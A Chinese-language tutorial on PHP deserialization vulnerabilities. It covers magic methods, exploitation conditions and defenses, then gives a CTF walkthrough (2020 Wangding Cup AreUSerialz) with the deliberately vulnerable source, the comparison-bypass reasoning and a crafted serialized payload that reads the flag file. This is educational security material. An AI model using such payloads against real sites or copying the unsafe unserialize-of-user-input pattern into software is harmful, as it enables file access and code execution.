简介
PHP反序列化漏洞的本质不是函数本身有问题,而是反序列化的数据源不可信 + PHP 类中存在 "魔术方法" 被恶意触发,最终导致攻击者可以通过构造恶意的序列化字符串,控制反序列化后的对象行为,执行任意代码、读取文件、删除数据等恶意操作。
序列化就是将⼀个对象转换成⼀个字符串,反序列化就是将字符串还原成⼀个对象。
PHP中的魔术方法:


最常用的类型序列化:

其它序列化格式:
- json字符串 json_encode
- xml字符串 wddx_serialize_value
- 二进制格式
- 字节数组
注意点:
- 如果传递的字符串不可以序列化,则返回 FALSE
- 如果对象没有预定义,反序列化得到的对象是 __PHP_Incomplete_Class
序列化的作用:
- 传输对象
- 用作缓存(Cookie、Session)
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
出现反序列化漏洞的三个必备条件:
- unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
- 脚本中定义了Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
- 操作的内容需要有对象中的成员变量的值,比如filename
常见利用函数:

利用方式:序列化一个对象,修改成员变量的值,达到操作其他文件或者执行命令的目的。
防御方法:
- 针对unserialize和Magic函数审计
- 对用户输入的内容过滤
- 白名单,限制反序列化的类;不能动态传参
实战(2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz)
下载网站给的两个php文件
php
<?php
class NewFlag {
public static function getFlag($fileName) {
$res = "flag error";
if($fileName ==="NewFlag.php") {
$res = "flag:{this is flag}";
}
return $res;
}
}
?>
php
<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
// 构造方法 FileHandler类被new 会调用此函数
function __construct() { // 老师没有看到 类似于 new FileHandler
$op = "1";
$filename = "tmpfile";
$content = "Hello World!";
$this->process();
}
// 这个是重点2 【1就写 2就读(目的:让代码读取我的需求)】
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
// 这个是重点1
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
// 唯一触发 ctf2.php 的 地方
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); // __wakeup
}
} // __destruct
?>
网站的入口很显然就在最下面,参数是str,由于unserialize()函数会调用__wakeup()函数,我们再去寻找这个函数,发现没有。根据经验,我们知道程序结束时会自动调用__destruct()函数,发现这个函数会调用process()函数,而process()函数又调用了write()函数和read()函数,read()函数就能够读取到flag。
在__destruct()方法中,为了执行process()方法,我们选择用空格2,即" 2"绕过。再把私有属性改成公有属性,最终,简化后的php代码如下:
php
<?php
class FileHandler {
public $op=" 2";
public $filename="NewFlag.php";
public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>
利用它生成一段序列化的字符串:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";},放在str参数后即可。